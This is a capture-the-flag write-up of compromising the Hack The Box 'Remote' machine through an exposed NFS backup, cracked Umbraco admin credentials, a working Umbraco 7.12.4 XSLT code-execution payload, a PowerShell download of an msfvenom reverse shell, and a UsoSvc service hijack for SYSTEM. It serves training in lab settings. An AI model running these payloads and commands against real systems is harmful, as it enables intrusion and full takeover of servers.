Hack The Box: Remote Write-up

remote-banner.png

Overview

This writeup documents the methods I used to compromise the Remote machine on the Hack The Box internal Labs network.

Attack Path

Initial Enumeration

As always I began this machine by enumerating the open ports with Nmap. Since this is HTB and I'm not concerned with running a noisy scan, I start a SYN scan on all TCP ports.

        
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up, received user-set (0.067s latency).
Scanned at 2020-06-26 08:29:51 EDT for 10699s
Not shown: 65430 closed ports, 89 filtered ports
Reason: 65430 resets, 52 host-unreaches and 37 no-responses
PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 127 Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
2049/tcp  open  mountd        syn-ack ttl 127 1-3 (RPC #100005)
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49678/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows Server 2016 (91%), Microsoft Windows Server 2012 R2 (90%), Microsoft Windows Server 2012 R2 Update 1 (90%), Microsoft Windows Server 2016 build 10586 - 14393 (90%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (90%), Microsoft Windows 10 1511 (90%), Microsoft Windows 10 1703 (90%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/26%OT=21%CT=1%CU=37129%PV=Y%DS=2%DC=T%G=Y%TM=5EF6140
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%CI=RD%II=I%TS=U)SEQ(SP=
OS:106%GCD=1%ISR=108%II=I%TS=U)SEQ(SP=107%GCD=1%ISR=108%TI=RD%CI=RD%II=I%TS
OS:=U)SEQ(SP=107%GCD=1%ISR=108%TS=U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%O3=M54D
OS:NW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W
OS:4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=Y%Q=)T1(
OS:R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=
OS:%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W
OS:=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
OS:T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUC
OS:K=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4m15s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 45222/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 40162/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 40067/udp): CLEAN (Timeout)
|   Check 4 (port 15893/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-06-26T15:31:17
|_  start_date: N/A

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   17.15 ms  10.10.14.1
2   121.39 ms 10.10.10.180

Read data files from: /usr/bin/../share/nmap.
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
        
    

A few things popped out at me while I was reviewing the Nmap results. The first thing was that the banner for TCP port 80 was reporting as the Microsoft HTTPAPI service. This struck me as odd to be on port 80, especially as HTTPAPI runs on TCP port 5985 by default. Further enumeration with Nmap scripts on this port showed that this banner was not correct, TCP port 80 on this machine is a standard HTTP port. While exploring the site and it's links, I discovered a login portal at http://10.10.10.180/umbraco. A quick web search let me know that Umbraco was a CMS application. I found a few default logins for Umbraco but none of them worked to log in. I eventually found some Umbraco installation guides that made it clear that newer versions of this software required a password update during install, so I decided to make a note of this URL and move on.

remote-img1.png

The second thing that stood out to me was the open RPC ports, and I was especially interested in the NFS listings on port 2049 discovered via the rpcbind port on TCP 111. NFS is often misconfigured in a way that enables local root impersonation, and even when it isn't it is still worth a look since people tend to store files on a file share, so looking at this NFS service became my first priority.

The first step is to run any NFS Nmap scripts against TCP port 111.

        
nmap -vv --reason -Pn -sV -p 111 --script=nfs* 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up, received user-set (0.97s latency).
Scanned at 2020-06-26 08:32:11 EDT for 172s

PORT    STATE SERVICE REASON          VERSION
111/tcp open  rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| nfs-ls: Volume /site_backups
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID         GID         SIZE   TIME                 FILENAME
| rwx------   4294967294  4294967294  4096   2020-02-23T18:35:48  .
| ??????????  ?           ?           ?      ?                    ..
| rwx------   4294967294  4294967294  64     2020-02-20T17:16:39  App_Browsers
| rwx------   4294967294  4294967294  4096   2020-02-20T17:17:19  App_Data
| rwx------   4294967294  4294967294  4096   2020-02-20T17:16:40  App_Plugins
| rwx------   4294967294  4294967294  8192   2020-02-20T17:16:42  Config
| rwx------   4294967294  4294967294  64     2020-02-20T17:16:40  aspnet_client
| rwx------   4294967294  4294967294  49152  2020-02-20T17:16:42  bin
| rwx------   4294967294  4294967294  64     2020-02-20T17:16:42  css
| rwx------   4294967294  4294967294  152    2018-11-01T17:06:44  default.aspx
|_
| nfs-showmount:
|_  /site_backups
| nfs-statfs:
|   Filesystem     1K-blocks   Used        Available   Use%  Maxfilesize  Maxlink
|_  /site_backups  31119356.0  12268116.0  18851240.0  40%   16.0T        1023
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
        
    

The two things I took note of from these results was that the share location was /site_backups and that based on the nfs-ls script results the share appears to be the root of a Microsoft Web Server.

Since I had found the name of the NFS share it was now possible for me to mount it on my Kali machine for further enumeration using standard Linux tools.

        
mount -t nfs -o vers=3 10.10.10.180:\\site_backups /mnt/nfs
        
    

Next I took a look at the file information in the root of the mounted folder.

        
ls -la /mnt/nfs
total 123
drwx------ 2 4294967294 4294967294  4096 Jul 21 19:40 .
drwxr-xr-x 6 root   root        4096 Jul  9 19:56 ..
drwx------ 2 4294967294 4294967294    64 Feb 20 12:16 App_Browsers
drwx------ 2 4294967294 4294967294  4096 Feb 20 12:17 App_Data
drwx------ 2 4294967294 4294967294  4096 Feb 20 12:16 App_Plugins
drwx------ 2 4294967294 4294967294    64 Feb 20 12:16 aspnet_client
drwx------ 2 4294967294 4294967294 49152 Feb 20 12:16 bin
drwx------ 2 4294967294 4294967294    64 Feb 20 12:16 css
drwx------ 2 4294967294 4294967294  8192 Feb 20 12:16 Config
-rwx------ 1 4294967294 4294967294   152 Nov  1  2018 default.aspx
-rwx------ 1 4294967294 4294967294    89 Nov  1  2018 Global.asax
drwx------ 2 4294967294 4294967294  4096 Feb 20 12:16 Media
drwx------ 2 4294967294 4294967294    64 Feb 20 12:16 scripts
drwx------ 2 4294967294 4294967294  8192 Feb 20 12:16 Umbraco
drwx------ 2 4294967294 4294967294  4096 Feb 20 12:16 Umbraco_Client
drwx------ 2 4294967294 4294967294  4096 Feb 20 12:16 Views
-rwx------ 1 4294967294 4294967294 28539 Feb 20 00:57 Web.config
        
    

I immediately noticed the .aspx file extensions and directories with Umbraco in their names, and concluded that I was looking at a backup of the root html directory for the site that was live on TCP port 80. I began by skimming over the .config files, and searching for instances of "username" and "password" within them, however this didn't turn up anything interesting. I also skimmed through the contents of each of the subdirectories hoping to find a database file or configuration file that looked like it might be holding credentials, but couldn't find either. I turned back to Google and searched for Umbraco CMS credential location. I found an Umbraco forum post that Umbraco used an SQL CE database located at App_Data/Umbraco.sdf.

Sure enough this file existed on the NFS share. I also took a look in /mnt/Web.config due to it also being referenced in the forum post and I learned that the Umbraco version that I was dealing with was 7.12.4. While researching .sdf files I realized that SQL CE and .sdf files were only really used on Windows clients, so I fed Umbraco.sdf into strings. The first few lines of output had the hashed passwords for the admin and ssmith accounts.

        
strings /mnt/App_Data/Umbraco.sdf
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
...
        
    

I then ran the hashes through Hashcat and successfully cracked the hash for the admin account. The resulting password was baconandcheese, and I was able to log in to the Umbraco portal with admin@htb.local:baconandcheese.

Getting Remote Code Execution

I started by poking around the admin portal to see what privileges my new access had given me, but I didn't really turn up much. Since I had never heard of this CMS before, I decided my best course of action would to be to search for any publicly available exploits, and I immediately found an authenticated RCE specifically for Umbraco 7.12.4 with searchsploit.

I edited the exploit PoC as required and attempted to execute it against Remote, however the attack did not appear to be successful. I took a look at the PoC source again, and realized that there were references to some tokens. I added some debug prints at various points in the Python code to narrow down where the PoC script was failing and realized that the PoC script was not retrieving the token as expected. Since the exploit PoC code was just sending an HTTP request to trigger the vulnerability I decided to attempt to exploit this vulnerability manually with BurpSuite.

After ensuring that Burp was open and Intercept was on, I navigated to the vulnerable web page as listed in the exploit PoC, however I did not see references to various parameters such as "EVENTTARGET" and "VIEWSTATE in the Data of the request so I forwarded the request. After the page loaded I noticed a green button on the bottom of the page labeled "Visualize XSLT". I clicked this button, looked at the captured request in Burp and saw that this request matched the request that would have been built by the exploit PoC, with the addition of my current admin session token.

I edited the exploit PoC payload to attempt to list the directory contents of C:\ instead of opening calc.exe. I inserted this payload in to the POST request captured in Burp as the ctl00$body$xsltSelection parameter and sent the request to the server. The response came back as successful and I was able to view the directory listing of C:\ in the body of the response. This proved that I had successfully executed code on the remote target, all that remained was to leverage this ability in to a full shell.

        
cat payload.txt
"<"?xml version="1.0"?>"<"xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">"<"msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "/c dir"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } "<"/msxsl:script>"<"xsl:template match="/"> "<"xsl:value-of select="csharp_user:xml()"/> "<"/xsl:template> "<"/xsl:stylesheet>
        
    

A screenshot showing the payload sent in Burp can be seen below.

remote-img2.png

Leveraging RCE To Get a Shell

I didn't really have many options for uploading a reverse shell to the target machine. The most direct option seemed to be to host the file from an HTTP server on my host, then use PowerShell to download the shell to a local location.

I updated my payload text to open powershell.exe and changed the argument to Invoke-WebRequest -Uri http://10.10.15.136/443.exe -OutFile C:\\Users\\Public\\443.exe. I also generated a malicious exe binary to host with MSFVenom.

        
msfvenom -p windows/shell_reverse_tcp lhost=10.0.0.1 lport=443 -f exe -o 443.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: 443.exe
        
    

After starting a SimpleHTTPServer to serve the file on TCP port 80 and sending the updated malicious POST request, I was able to verify the PowerShell line executed as intended when the SimpleHTTPServer notified me that a request was made for the 443.exe file.

        
python -m SimpleHTTPServer 80
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.180 - - [22/Jul/2020 00:47:08] "GET /443.exe HTTP/1.1" 200 -
        
    

I updated my payload text a final time, changing the process to call C:\\Users\\Public\\443.exe and removing the arguments. I made sure I had started a multi/handler listener on 443, then sent the malicious POST request and caught the reverse shell running in the context of defaultapppool.

        
nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.180] 51105
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>
        
    
        
whoami
iis apppool\defaultapppool
        
    

To my surprise there were no other user accounts running on the target except for the Administrator account and the user.txt file was sitting in c:\users\public\.

        
whoami && type c:\users\public\user.txt && ipconfig
whoami && type c:\users\public\user.txt && ipconfig
iis apppool\defaultapppool
00738eeb1b69ba73208418af1e86da24

Windows IP Configuration


Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . .  : dead:beef::5008:89ef:53fd:4c4d
Link-local IPv6 Address . . . .  : fe80::5008:89ef:5sfd:4c4d%13
IPv4 Address. . . . . . . . . .  : 10.10.10.180
Subnet Mask . . . . . . . . . .  : 255.255.255.0
Default Gateway . . . . . . . .  : fe80::250:56ff:feb9:f34f%13
                             10.10.10.2
        
    

Escalation of Privilege

Enumeration

I uploaded the winpeas.exe enumeration script to the target machine utilizing the same malicious POST request method used to upload my reverse shell earlier. While I was reviewing the script output I noticed it had found that the DefaultAppPool user had write permissions to the UsoSvc service. Querying the service with sc qc UsoSvc showed me that the service ran as nt authority\system.

I used msfvenom to generate a reverse shell with a different listen port and uploaded it to the target with the same malicious POST request. After the file was uploaded I started a listener on my host machine, updated the UsoSvc service binary path to point to my malicious executable, and restarted the service in order to trigger the malicious payload.

        
sc config UsoSvc binpath= "C:\Users\Public\8080.exe"
sc config UsoSvc binpath= "C:\Users\Public\8080.exe"
[SC] ChangeServiceConfig SUCCESS

net stop UsoSvc && net start UsoSvc
net stop UsoSvc && net start UsoSvc
The Update Orchestrator Service service is stopping.
The Update Orchestrator Service service was stopped successfully.
        
    

SYSTEM Compromise

Finally I switched to the shell that was caught after the service bounce triggered the payload, checked my shell context, and grabbed the root.txt proof.

        
nc -nvlp 4433
listening on [any] 4433 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.180] 51485
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv> whoami && type c:\users\administrator\desktop\root.txt && ipconfig
whoami && type c:\users\administrator\desktop\root.txt && ipconfig
nt authority\system
4cfbc3aee45d28c4fb4ad2a9837316fc

Windows IP Configuration


Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . .  : dead:beef::5008:89ef:53fd:4c4d
Link-local IPv6 Address . . . .  : fe80::5008:89ef:5sfd:4c4d%13
IPv4 Address. . . . . . . . . .  : 10.10.10.180
Subnet Mask . . . . . . . . . .  : 255.255.255.0
Default Gateway . . . . . . . .  : fe80::250:56ff:feb9:f34f%13
                             10.10.10.2
c:\windows\system32>